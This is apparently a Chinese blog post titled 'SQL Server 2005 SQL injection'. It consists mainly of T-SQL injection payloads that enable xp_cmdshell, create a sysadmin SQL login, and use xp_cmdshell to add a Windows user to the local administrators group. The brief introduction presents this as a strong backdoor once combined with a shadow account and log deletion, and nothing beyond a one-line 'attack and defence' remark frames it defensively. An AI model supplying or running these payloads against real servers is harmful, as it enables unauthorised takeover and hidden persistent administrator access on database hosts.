您的位置:首页 > 数据库

SQL Server 2005 SQL 注入

2016-09-02 11:47 363 查看
--攻与防,矛与盾

--sql server 2005上测试成功的。再加上影子账户及删除日志。那就是很强的后门了。

--enabble xp_cmdshell

EXEC sys.sp_configure N'show advanced options',
N'1'  RECONFIGURE WITH OVERRIDE

go

EXEC sys.sp_configure N'xp_cmdshell', N'1'

go

RECONFIGURE WITH OVERRIDE

go

EXEC sys.sp_configure N'show advanced options',
N'0'  RECONFIGURE WITH OVERRIDE

go

-- Unenable xp_cmdshell

EXEC sys.sp_configure N'show advanced options',
N'1'  RECONFIGURE WITH OVERRIDE

go

EXEC sys.sp_configure N'xp_cmdshell', N'0'

go

RECONFIGURE WITH OVERRIDE

go

EXEC sys.sp_configure N'show advanced options',
N'0'  RECONFIGURE WITH OVERRIDE

go

exec master.dbo.sp_addlogin
aspnnet;--  

exec master.dbo.sp_password
null,aspnnet,aspnnet;--  

exec master.dbo.sp_addsrvrolemember
aspnnet,sysadmin;--  

exec master.dbo.xp_cmdshell 'net user aspnnet aspnnet
/workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add';--  

exec master.dbo.xp_cmdshell 'net localgroup administrators aspnnet
/add';--  
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: